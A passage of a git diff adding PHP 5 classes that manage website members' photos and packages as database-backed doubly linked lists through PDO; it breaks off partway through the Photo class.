+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Handles member interactions
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Member.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * Handle member record interaction
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   Release: @package_version@
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Member
+{
+    //  {{{ properties
+
+
+    /**
+     * Description for protected
+     * @var    unknown  
+     * @access protected
+     */
+    protected $pdo;
+
+    //  /// }}}
+    //  {{{ __construct()
+    //  @codeCoverageIgnoreStart
+
+    /**
+     * Constructor
+     *
+     * @param PDO              $pdo PHP Data Object
+     * @param Config_Container $c   Application configuration
+     *                               
+     * @return void            
+     * @access public          
+     */
+    public function __construct(PDO $pdo, Config_Container $c)
+    {
+        $this->dbh = $pdo;
+        $this->config = $c;
+    }
+
+    //  @codeCoverageIgnoreEnd
+    //  }}}
+
+    //  {{{ canAddPhotos()
+
+    /**
+     * calculate if a member can add more photos to their record
+     *
+     * @param Toolkit_Members_Photos $ll Linked List of member photos
+     *                                    
+     * @return boolean               
+     * @access public                
+     */
+    public function canAddPhotos(Toolkit_Members_Photos $ll)
+    {
+        //  get reference to [conf] section of config file
+        $section =& $this->config->getItem('section', 'photos');
+        $maxPhotos =& $section->getItem('directive', 'maxPhotos');
+
+               return ($ll->getListSize() < $maxPhotos->getContent());
+    }
+
+    //  }}}
+
+    //  {{{ hasUploadedPhotos()
+
+    /**
+     * Deterimines of the member has any photos uploaded to their record
+     *
+     * @param Toolkit_Members_Photos $ll   Linked List of member photos
+     * @param boolean                $fltr Filter pending when calculating
+     *                                      
+     * @return boolean               
+     * @access public                
+     */
+    public function hasUploadedPhotos(
+        Toolkit_Members_Photos $ll,
+        $fltr = false
+    ) {
+        $size = $ll->getListSize($fltr);
+
+        return ($size > 0);
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/Packages.php b/Toolkit/Members/Packages.php
new file mode 100644 (file)
index 0000000..742b32f
--- /dev/null
@@ -0,0 +1,370 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Linked list (LL) implementation of member packages
+ * 
+ * File contains the class that gives the ability to create a linked list
+ * of member packages.  You can iterate through manipulate and control every
+ * aspect of the LL.  The best part is, by keeping the LL in order it
+ * automatically maintains the DB for you.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Packages.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures/LinkedList/Double.php
+ *            Toolkit/Members/Packages/Package.php
+ */
+
+/**
+ * PEAR Linked List library
+ */
+require_once 'Structures/LinkedList/Double.php';
+
+/**
+ * Linked List node class
+ */
+require_once 'Members/Packages/Package.php';
+
+/**
+ * Class implementation of a linked list
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures/LinkedList/Double.php
+ */
+class Toolkit_Members_Packages extends Structures_LinkedList_Double
+{
+       //      {{{     properties
+
+    /**
+     * Database handler object
+     * @var    object
+     * @access public
+     */
+       public $dbh;
+
+    /**
+     * DB id of member whos packages we are manipulating with this linked list
+     * @var    integer  
+     * @access protected
+     */
+       protected $mid;
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     *
+     * @param object $root Linked List node object
+     * @param int    $mid  DB id of member we want to prepare the list for
+        *
+     * @access public
+     * @return void  
+     */
+       function __construct(
+        Structures_LinkedList_DoubleNode $root = null,
+        $mid = null
+    ) {
+               parent::__construct($root);
+               $this->setMember($mid);
+       }
+
+       //      }}}
+
+       //      {{{     createMemberList()
+
+    /**
+     * Creates a linked list from all the packages a member has in the db.
+     * 
+     * @param string $order The order to make the linked list in
+        *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function createMemberList($order = 'pos')
+       {
+               if (!is_numeric($this->mid)) {
+                       return;
+               }
+
+               $safeOrder = array('pos', 'id');
+               if (!in_array($order, $safeOrder)) {
+                       $order = 'pos';
+               }
+               try {
+                       //      Get each package tuple from the member_packages table.
+                       $sql = "
+                               SELECT *
+                                 FROM member_packages
+                                WHERE member_id = :member_id
+                                ORDER BY $order";
+                       
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch()) {
+                               //      Create a new node w/ all the data we just extracted.
+                               $node = $this->createNode($row);
+                $node->setDbh($this->dbh);
+                               //      Sets up any pending data the package might currently have.
+                               $node->setPendingData();
+                               //      Add the package node to the end of the linked list.
+                               $res = $this->appendNode($node);
+                       }
+
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     createNode()
+
+    /**
+     * Creates a new linked list node object
+     * 
+     * @param array $data Data to populate the new node with
+        *
+     * @access public
+     * @return object newly created linked list node
+     */
+       public function &createNode(array $data)
+       {
+               $node = new Toolkit_Members_Packages_Package($data);    
+        $node->setDbh($this->dbh);
+
+        return $node;
+       }
+
+       //      }}}
+
+       //      {{{     getListSize()
+
+    /**
+     * Get how many nodes are currently in the linked list
+     * 
+     * @param boolean $filterPending Include pending packages in the count
+        *
+     * @return integer number of nodes in the linked list
+     * @access public 
+     */
+       public function getListSize($filterPending = false)
+       {
+               $size = 0;
+               $cur  = $this->rewind();
+
+               //      If the current node is null, then we have no nodes
+               //      in the linked list.  return the empty size.
+               //      Else we have at least one node in the linked list.
+               if (is_null($cur)) {
+                       return $size;
+               }
+
+               //      Add one to the size of the list for every
+               //      node we encounter.
+               do {
+                       if ($filterPending) {
+                               if (!$cur->getPending()) {
+                                       ++$size;
+                               }
+                       } else {
+                               ++$size;
+                       }
+               } while ($cur = $this->next());
+
+               return $size;
+       }
+
+       //      }}}
+       //      {{{     getMemberId()
+
+    /**
+     * Get which member this linked list is for
+     * 
+     * @return integer id of member we are dealing with
+     * @access public 
+     */
+       public function getMemberId()
+       {
+               return $this->mid;
+       }
+
+       //      }}}
+
+       //      {{{     findNode()
+
+    /**
+     * find a node from the linked list
+     * 
+     * @param integer $target Id of package you are searching for
+        *
+     * @return mixed Toolkit_Members_Packages_Package if present, else false
+     * @access public 
+     */
+       public function &findNode($target)
+       {
+               $this->end();
+               $startingId = $this->current->getId();
+
+               if ($target == $startingId) {
+                       return $this->current;
+               }
+
+               while ($curr = $this->previous()) {
+                       if ($target == $curr->getId()) {
+                               return $curr;
+                       }
+               }
+
+               return false;
+       }
+       
+       //      }}}
+
+       //      {{{     moveNode()
+
+    /**
+     * Adjust nodes position in the linked list
+     * 
+     * @param integer $pid id of package you want to move
+     * @param integer $pos new position you want to move to
+        *
+     * @access public 
+     * @return void   
+     */
+       public function moveNode($pid, $pos)
+       {
+               $node   = $this->findNode($pid);
+               $oldPos = $node->getPosition();
+
+               if ($this->getListSize()) {
+                       $cur = $this->rewind();
+                       do {
+                               if ($cur->getId() == $pid) {
+                                       $cur->setPosition($pos);
+                               } else {
+                                       $curPos = $cur->getPosition();
+                                       if ($pos > $oldPos) {
+                                               if ($curPos <= $pos && $curPos > $oldPos) {
+                                                       $cur->setPosition($curPos - 1);
+                                               }
+                                       } elseif ($pos < $oldPos) {
+                                               if ($curPos >= $pos && $curPos < $oldPos) {
+                                                       $cur->setPosition($curPos + 1);
+                                               }
+                                       }
+                               }
+                       } while ($cur = $this->next());
+               }
+       }
+
+       //      }}}
+
+       //      {{{     removeNode()
+
+    /**
+     * Removes a node from the linked list
+     * 
+     * @param Toolkit_Image_Server $is     Image Server Object
+     * @param integer              $target Id of package you want to remove
+        *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function removeNode(Toolkit_Image_Server $is, $target)
+       {
+               $node = $this->findNode($target);
+               if (!$node) {
+                       return false;
+               }
+
+               $node->remove($is);
+               $remNodePos = $node->getPosition();
+
+               //      only try and update positions in the linked list if     there are nodes that
+               //      will still exists after this node is removed ie.  size is greater than 1
+               if ($this->getListSize() > 1) {
+                       $cur = $this->rewind();
+                       do {
+                               if ($cur->getPosition() > $remNodePos) {
+                                       $cur->setPosition($cur->getPosition() - 1);
+                               }
+                       } while ($cur = $this->next());
+               }
+
+               $this->deleteNode($node);
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * Set the Database Handler
+     * 
+     * @param PDO $pdo PHP Data Object to use
+     *
+     * @return void   
+     * @access public 
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+       //      {{{     setMember()
+
+    /**
+     * Sets which member we are working with
+     * 
+     * @param integer $mid id of member
+        *
+     * @access public 
+     * @return PEAR error on invalid member id
+     */
+       public function setMember($mid)
+       {
+        if (is_integer($mid)) {
+            $this->mid = $mid;
+        } elseif (is_numeric($mid) && ctype_digit($mid)) {
+                       $this->mid = $mid;
+               } else {
+            return PEAR::raiseError('invalid member id');
+        }
+       }
+
+       //      }}}
+
+       //      {{{     emptyList()
+
+    /**
+     * Deletes all nodes from a list
+     * 
+     * @access public
+     * @return void  
+     */
+       public function emptyList()
+       {
+               $this->end();
+               while ($cur = $this->current()) {
+                       $this->deleteNode($cur);
+               }
+       }
+       
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Packages/Package.php b/Toolkit/Members/Packages/Package.php
new file mode 100644 (file)
index 0000000..b0ef42d
--- /dev/null
@@ -0,0 +1,387 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Node class for the member packages linked list implementation
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Package.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      <>
+ * @see       Structures/LinkedList/Double.php
+ *                               Toolkit/Image/Server.php
+ */
+
+/**
+ * PEAR linked list library
+ */
+require_once 'Structures/LinkedList/Double.php';
+
+/**
+ * Class to handle uploading and processing of images on the image server
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Linked list node class
+ * 
+ * Handles controlling all functionality for a linked list node
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      <>
+ * @see       Structures_LinkedList_DoubleNode
+ */
+class Toolkit_Members_Packages_Package extends Structures_LinkedList_DoubleNode
+{
+       //      {{{     properties
+
+    /**
+     * Database handler object
+     * @var    object
+     * @access public
+     */
+       public $dbh;
+
+    /**
+     * Tuple id of package in db
+     * @var    integer  
+     * @access protected
+     */
+       protected $id;
+
+    /**
+     * Image name on image server
+     * @var    string   
+     * @access protected
+     */
+       protected $image;
+
+    /**
+     * Packages position in the linked list / db
+     * @var    integer  
+     * @access protected
+     */
+       protected $pos;
+
+    /**
+     * If the package is new and is still pending
+     * @var    boolean  
+     * @access protected
+     */
+       protected $pending;
+
+    /**
+     * Member id this package belongs to
+     * @var    integer  
+     * @access protected
+     */
+       protected $mid;
+
+    /**
+     * DB table name where package data is stored
+     * @var    string   
+     * @access protected
+     */
+       protected $tableName = 'member_packages';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Class Constructor
+     * 
+     * @param array $data new node data
+        *
+     * @return void  
+     * @access public
+     */
+       public function __construct(array $data)
+       {
+               $this->id      = $data['id'];
+               $this->image   = $data['image'];
+               $this->title   = $data['title'];
+               $this->pos     = $data['pos'];
+               $this->pending = $data['pending'];
+               $this->mid     = $data['member_id'];
+       }
+
+       //      }}}
+
+       //      {{{     setFauxPending()
+
+    /**
+     * Make the package pending, but don't set it to pending in the DB
+     * 
+        * This is useful in the members only area when only part of a
+        * package is pending but you need to show the entire package in a pending
+        * state.  ie (titles can be pending)
+        *
+     * @param boolean $pending what to set the pending status to
+        *
+     * @return void   
+     * @access public 
+     */
+       public function setFauxPending($pending)
+       {
+               $this->pending = $pending;
+       }
+
+       //      }}}
+
+       //      {{{     getTitle()
+
+    /**
+     * Get the package title
+     * 
+     * @return string packages title
+     * @access public
+     */
+       public function getTitle()
+       {
+               return $this->title;
+       }
+       
+       //      }}}
+       //      {{{     getPendingTitle()
+
+    /**
+     * Get the packages pending title (if set)
+     * 
+     * @return string packages pending title
+     * @access public
+     */
+       public function getPendingTitle()
+       {
+               return $this->pendingTitle;
+       }
+       
+       //      }}}
+       //      {{{     getId()
+
+    /**
+     * Get the package id
+     * 
+     * @return integer packages db id
+     * @access public 
+     */
+       public function getId()
+       {
+               return $this->id;
+       }
+
+       //      }}}
+       //      {{{     getImage()
+
+    /**
+     * Get the package image name
+     * 
+     * @return string file name of image stored on image server
+     * @access public
+     */
+       public function getImage()
+       {
+               return $this->image;
+       }
+
+       //      }}}
+       //      {{{     getPending()
+
+    /**
+     * Get the pending status of the package
+     * 
+     * @return boolean if the package is pending or not
+     * @access public 
+     */
+       public function getPending()
+       {
+               return $this->pending;
+       }
+
+       //      }}}
+       //      {{{     getPosition()
+
+    /**
+     * Get the position of the package
+     * 
+     * @return integer current position in the linked list / db of the package
+     * @access public 
+     */
+       public function getPosition()
+       {
+               return $this->pos;
+       }
+
+       //      }}}
+
+       //      {{{     remove()
+
+    /**
+     * Remove a package from the db
+     * 
+        * Handles deleting all data from the member_packages table and any
+        * data that might currently be pending for the package as well.
+     * 
+     * @param Toolkit_Image_Server $is Image Server object
+     *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function remove(Toolkit_Image_Server $is)
+       {
+               try {
+                       $is->imageDelete($this->image);
+                       //      Get rid of the package in the member_packages table.
+                       $sql = "
+                DELETE FROM {$this->tableName}
+                 WHERE id = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute(array($this->id));
+
+                       //      Get rid of any updates to the package so we don't have
+                       //      orphaned data lying around.
+                       $sql = "
+                DELETE FROM " . Toolkit_Membersonly::PENDING_TABLE . "
+                 WHERE db_table    = '{$this->tableName}'
+                   AND member_id   = :member_id
+                   AND foreign_key = :id";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $_GET['id'], PDO::PARAM_INT);
+                       $stmt->bindParam(':id', $this->id, PDO::PARAM_INT);
+                       $stmt->execute();
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+    //  {{{ setDbh()
+
+    /**
+     * Set the Database handler object
+     * 
+     * @param PDO $pdo PHP Data Object
+     *
+     * @return void   
+     * @access public 
+     */
+    public function setDbh(PDO $pdo)
+    {
+        $this->dbh = $pdo;
+    }
+
+    //  }}}
+       //      {{{     setPending()
+
+    /**
+     * Set the pending status for the package
+     * 
+     * @param boolean $pending If the package is pending or not
+        *
+     * @return boolean result of db update
+     * @access public 
+     */
+       public function setPending($pending)
+       {
+               $this->pending = $pending;
+               try {
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET pending   = ?
+                 WHERE member_id = ?
+                   AND id        = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($pending, $this->mid, $this->id));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setPendingData()
+
+    /**
+     * Set the content of any data that might be pending
+     * 
+     * Currently this only supports pending title
+     * 
+     * @return bolean false on error
+     * @access public
+     */
+       public function setPendingData()
+       {
+               try {
+                       //      Get any updates for that package that are still in 
+                       //      a pending status.
+                       $sql = "
+                               SELECT *
+                                 FROM " . Toolkit_Membersonly::PENDING_TABLE . "
+                                WHERE id in (
+                                       SELECT max(id)
+                                         FROM " . Toolkit_Membersonly::PENDING_TABLE . "
+                                        WHERE foreign_key = :foreign_key
+                                          AND db_table = 'member_packages'
+                                        GROUP BY field)";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       $stmt->execute(array($this->id));
+                       $row = $stmt->fetch();
+
+                       if ($row['field'] == 'title') {
+                               $this->pendingCaption = $row['update'];
+                       }
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     setPosition()
+
+    /**
+     * Set a new position for a node
+     * 
+     * Handle updating the nodes position in the linked list as well as db.
+     * 
+     * @param integer $pos new position number for node
+        *
+     * @return boolean result of position update
+     * @access public 
+     */
+       public function setPosition($pos)
+       {
+               //      Not updating anything so just return.
+               if ($pos == $this->pos) {
+                       return true;
+               }
+               try {
+                       $this->pos = $pos;
+
+                       $sql = "
+                UPDATE {$this->tableName}
+                   SET pos       = ?
+                 WHERE member_id = ?
+                   AND id        = ?";
+
+                       $stmt = $this->dbh->prepare($sql);
+                       return $stmt->execute(array($pos, $this->mid, $this->id));
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Photos.php b/Toolkit/Members/Photos.php
new file mode 100644 (file)
index 0000000..acd93ba
--- /dev/null
@@ -0,0 +1,359 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Linked list (LL) implementation of member photos
+ * 
+ * File contains the class that gives the ability to create a linked list
+ * of member photos.  You can iterate through manipulate and control every
+ * aspect of the LL.  The best part is, by keeping the LL in order it
+ * automatically maintains the DB for you.
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Photos.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures/LinkedList/Double.php
+ *                       Toolkit/Members/Photos/Photo.php
+ */
+
+/**
+ * PEAR Linked List library
+ */
+require_once 'Structures/LinkedList/Double.php';
+
+/**
+ * Linked List node class
+ */
+require_once 'Members/Photos/Photo.php';
+
+/**
+ * Class implementation of a linked list
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures/LinkedList/Double.php
+ */
+class Toolkit_Members_Photos extends Structures_LinkedList_Double
+{
+       //      {{{     properties
+
+    /**
+     * DB id of member whos photos we are manipulating with this linked list
+     * @var    integer
+     * @access protected
+     */
+       protected $mid;
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Constructor
+     * 
+     * @param Structures_LinkedList_DoubleNode $root Linked List node object
+     * @param integer                          $mid  id of member we want
+     *                                               to prepare the list for
+        *
+     * @access public 
+     * @return void   
+     */
+       function __construct(
+        Structures_LinkedList_DoubleNode $root = null,
+        $mid = null
+    ) {
+               parent::__construct($root);
+               $this->setMember($mid);
+        /*
+               if (is_numeric($mid)) {
+                       $this->createMemberList($mid);
+               }
+        */
+       }
+
+       //      }}}
+
+       //      {{{     createMemberList()
+
+    /**
+     * Creates a linked list from all the photos a member has in the db.
+     * 
+     * @param PDO              $dbh   PHP Data Object
+     * @param Config_Container $c     Member configuration
+     * @param string           $order The order to make the linked list in
+        *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function createMemberList(
+        PDO $dbh,
+        Config_Container $c,
+        $order = 'pos'
+    ) {
+               if (!ctype_digit((string) $this->mid)) {
+                       return;
+               }
+
+        //  Make sure the list is actually empty before you recreate it
+        //  otherwise you can end up w/ duplicate values in the LL
+        $this->emptyList();
+
+               $safeOrder = array('pos', 'id');
+               if (!in_array($order, $safeOrder)) {
+                       $order = 'pos';
+               }
+               try {
+                       //      Get each photo tuple from the member_photos table.
+                       $sql = "
+                               SELECT *
+                                 FROM member_photos
+                                WHERE member_id = :member_id
+                                ORDER BY $order";
+                       
+                       $stmt = $dbh->prepare($sql);
+                       $stmt->bindParam(':member_id', $this->mid, PDO::PARAM_INT);
+                       $stmt->execute();
+
+                       while ($row = $stmt->fetch()) {
+                               //      Create a new node w/ all the data we just extracted.
+                               $node = $this->createNode($row);
+                $node->setDbh($dbh);
+                               //      Sets up any pending data the photo might currently have.
+                               $node->setPendingData($c);
+                               //      Add the photo node to the end of the linked list.
+                               $res = $this->appendNode($node);
+                       }
+
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+       //      {{{     createNode()
+
+    /**
+     * Creates a new linked list node object
+     * 
+     * @param array $data Data to populate the new node with
+        *
+     * @return Toolkit_Members_Photos_Photo linked list node
+     * @access public 
+     */
+       public function &createNode(array $data)
+       {
+               return new Toolkit_Members_Photos_Photo($data); 
+       }
+
+       //      }}}
+
+       //      {{{     getListSize()
+
+    /**
+     * Get how many nodes are currently in the linked list
+     * 
+     * @param boolean $filterPending Include pending photos in the count
+        *
+     * @return integer number of nodes in the linked list
+     * @access public 
+     */
+       public function getListSize($filterPending = false)
+       {
+               $size = 0;
+               $cur  = $this->rewind();
+
+               //      If the current node is null, then we have no nodes
+               //      in the linked list.  return the empty size.
+               //      Else we have at least one node in the linked list.
+               if (is_null($cur)) {
+                       return $size;
+               }
+
+               //      Add one to the size of the list for every
+               //      node we encounter.
+               do {
+                       if ($filterPending) {
+                               if (!$cur->getPending()) {
+                                       ++$size;
+                               }
+                       } else {
+                               ++$size;
+                       }
+               } while ($cur = $this->next());
+
+               return $size;
+       }
+
+       //      }}}
+       //      {{{     getMemberId()
+
+    /**
+     * Get which member this linked list is for
+     * 
+     * @return integer id of member we are dealing with
+     * @access public 
+     */
+       public function getMemberId()
+       {
+               return $this->mid;
+       }
+
+       //      }}}
+
+       //      {{{     findNode()
+
+    /**
+     * find a node from the linked list
+     * 
+     * @param integer $target Id of photo you are searching for
+        *
+     * @return mixed Toolkit_Members_Photos_Photo object if present, else false
+     * @access public 
+     */
+       public function &findNode($target)
+       {
+               $this->end();
+               $startingId = $this->current->getId();
+
+               if ($target == $startingId) {
+                       return $this->current;
+               }
+
+               while ($curr = $this->previous()) {
+                       if ($target == $curr->getId()) {
+                               return $curr;
+                       }
+               }
+
+               return false;
+       }
+       
+       //      }}}
+
+       //      {{{     moveNode()
+
+    /**
+     * Adjust nodes position in the linked list
+     * 
+     * @param integer $pid id of photo you want to move
+     * @param integer $pos new position you want to move to
+        *
+     * @return void   
+     * @access public 
+     */
+       public function moveNode($pid, $pos)
+       {
+               $node   = $this->findNode($pid);
+               $oldPos = $node->getPosition();
+
+               if ($this->getListSize()) {
+                       $cur = $this->rewind();
+                       do {
+                               if ($cur->getId() == $pid) {
+                                       $cur->setPosition($pos);
+                               } else {
+                                       $curPos = $cur->getPosition();
+                                       if ($pos > $oldPos) {
+                                               if ($curPos <= $pos && $curPos > $oldPos) {
+                                                       $cur->setPosition($curPos - 1);
+                                               }
+                                       } elseif ($pos < $oldPos) {
+                                               if ($curPos >= $pos && $curPos < $oldPos) {
+                                                       $cur->setPosition($curPos + 1);
+                                               }
+                                       }
+                               }
+                       } while ($cur = $this->next());
+               }
+       }
+
+       //      }}}
+
+       //      {{{     removeNode()
+
+    /**
+     * Removes a node from the linked list
+     * 
+     * @param Toolkit_Image_Server $is     Image Server Object
+     * @param Config_Container     $c      Member configuration
+     * @param integer              $target Id of photo you want to remove
+        *
+     * @return boolean false on error
+     * @access public 
+     */
+       public function removeNode(
+        Toolkit_Image_Server $is,
+        Config_Container $c,
+        $target
+    ) {
+               $node = $this->findNode($target);
+               if (!$node) {
+                       return false;
+               }
+
+               $node->remove($is, $c);
+               $remNodePos = $node->getPosition();
+
+               //      only try and update positions in the linked list if     there are nodes that
+               //      will still exists after this node is removed ie.  size is greater than 1
+               if ($this->getListSize() > 1) {
+                       $cur = $this->rewind();
+                       do {
+                               if ($cur->getPosition() > $remNodePos) {
+                                       $cur->setPosition($cur->getPosition() - 1);
+                               }
+                       } while ($cur = $this->next());
+               }
+
+               $this->deleteNode($node);
+       }
+
+       //      }}}
+
+       //      {{{     setMember()
+
+    /**
+     * Sets which member we are working with
+     * 
+     * @param integer $mid id of member
+        *
+     * @access public 
+     * @return void   
+     */
+       public function setMember($mid)
+       {
+               if (ctype_digit((string) $mid)) {
+                       $this->mid = $mid;
+               }
+       }
+
+       //      }}}
+
+       //      {{{     emptyList()
+
+    /**
+     * Deletes all nodes from a list
+     * 
+     * @access public
+     * @return void  
+     */
+       public function emptyList()
+       {
+               $this->end();
+               while ($cur = $this->current()) {
+                       $this->deleteNode($cur);
+               }
+       }
+       
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Photos/Photo.php b/Toolkit/Members/Photos/Photo.php
new file mode 100644 (file)
index 0000000..0dfa9aa
--- /dev/null
@@ -0,0 +1,440 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Node class for the member photos linked list implementation
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Photo.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures/LinkedList/Double.php
+ *                       Toolkit/Image/Server.php
+ */
+
+/**
+ * PEAR linked list library
+ */
+require_once 'Structures/LinkedList/Double.php';
+
+/**
+ * Class to handle uploading and processing of images on the image server
+ */
+require_once BASE . 'Toolkit/Image/Server.php';
+
+/**
+ * Linked list node class
+ * 
+ * Handles controlling all functionality for a linked list node
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ * @see       Structures_LinkedList_DoubleNode
+ */
+class Toolkit_Members_Photos_Photo extends Structures_LinkedList_DoubleNode
+{
+       //      {{{     properties
+
+    /**
+     * Database handler object
+     * @var    object
+     * @access public
+     */
+       public $dbh;
+
+    /**
+     * Tuple id of photo in db
+     * @var    integer
+     * @access protected
+     */
+       protected $id;
+
+    /**
+     * Image name on image server
+     * @var    string
+     * @access protected
+     */
+       protected $image;
+
+    /**
+     * Photo caption
+     * @var    string
+     * @access protected
+     */
+       protected $caption;
+
+    /**
+     * Photo pending caption (if set)
+     * @var    string
+     * @access protected
+     */
+       protected $pendingCaption;
+
+    /**
+     * Photos position in the linked list / db
+     * @var    integer
+     * @access protected
+     */
+       protected $pos;
+
+    /**
+     * If the photo is new and is still pending
+     * @var    boolean
+     * @access protected
+     */
+       protected $pending;
+
+    /**
+     * Member id this photo belongs to
+     * @var    integer
+     * @access protected
+     */
+       protected $mid;
+
+    /**
+     * DB table name where photo data is stored
+     * @var    string   
+     * @access protected
+     */
+       protected $tableName = 'member_photos';
+
+       //      }}}
+       //      {{{     __construct()
+
+    /**
+     * Class Constructor
+     * 
+     * @param array $data new node data
+        *
+     * @return void  
+     * @access public
+     */
+       public function __construct(array $data)
+       {
+               $this->id      = $data['id'];
+               $this->image   = $data['image'];
+               $this->caption = $data['caption'];
+               $this->pos     = $data['pos'];
+               $this->pending = $data['pending'];
+               $this->mid     = $data['member_id'];
+       }
+
+       //      }}}
+
+       //      {{{     setFauxPending()
+
+    /**
+     * Make the photo pending, but don't set it to pending in the DB
+     * 
+        * This is useful in the members only area when only part of a
+        * photo is pending but you need to show the entire photo in a pending
+        * state.  ie (captions can be pending)
+        *
+     * @param boolean $pending what to set the pending status to
+        *
+     * @return void   
+     * @access public 
+     */
+       public function setFauxPending($pending)
+       {
+               $this->pending = $pending;
+       }
+
+       //      }}}
+
+       //      {{{     getCaption()
+
+    /**
+     * Get the photo caption
+     * 
+     * @return string photos caption
+     * @access public 
+     */
+       public function getCaption()
+       {
+               return $this->caption;
+       }
+       
+       //      }}}
+       //      {{{     getPendingCaption()
+
+    /**
+     * Get the photos pending caption (if set)
+     * 
+     * @return string photos pending caption
+     * @access public 
+     */
+       public function getPendingCaption()
+       {
+               return $this->pendingCaption;
+       }
+       
+       //      }}}
+       //      {{{     getId()
+
+    /**
+     * Get the photo id
+     * 
+     * @return integer photos db id
+     * @access public 
+     */
+       public function getId()
+       {
